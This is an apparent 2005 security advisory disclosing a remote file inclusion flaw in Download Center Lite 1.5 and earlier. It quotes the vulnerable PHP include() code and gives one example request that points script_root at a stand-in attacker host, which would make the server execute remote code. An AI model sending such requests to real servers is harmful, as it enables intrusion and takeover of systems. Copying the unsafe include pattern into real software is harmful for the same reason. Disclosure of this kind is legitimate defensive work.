[UNIX] Download Center Lite Arbitrary File Inclusion

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Date: 23 Mar 2005 13:42:39 +0200

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  Download Center Lite Arbitrary File Inclusion
------------------------------------------------------------------------

SUMMARY

" <http://www.stadtaus.com/php_scripts/download_center_lite/> Download
Center Lite is easy to use download manager for Internet pages, it allows
hiding real path to downloads and preventing direct access to download
folders."

The default settings of Download Center Lite(DCL) allow attackers to cause
the program to include arbitrary files.

DETAILS

Vulnerable Systems:
 * Download Center Lite version 1.5 and prior

Download Center Lite combined with the PHP variable: register_globals=on
and allow_url_fopen=on, allows remote attackers to include any file they
desire from a remote machine in addition to causing its execution.

Example:
http://[victim]/[dir]/inc/download_center_lite.inc.php?script_root=http://[hacker_box]/

Vulnerable code in inc/download_center_lite.inc.php:
/*********************************
Include some files
**********************************/
include($script_root . 'inc/functions.inc.php');
include($script_root . 'inc/template.class.inc.php');
include($script_root . 'inc/log_downloads.class.inc.php');
include($script_root . 'languages/language.' . $language . '.inc.php');

ADDITIONAL INFORMATION

The information has been provided by <mailto:groszynskif@gmail.com> Filip
Groszynski.

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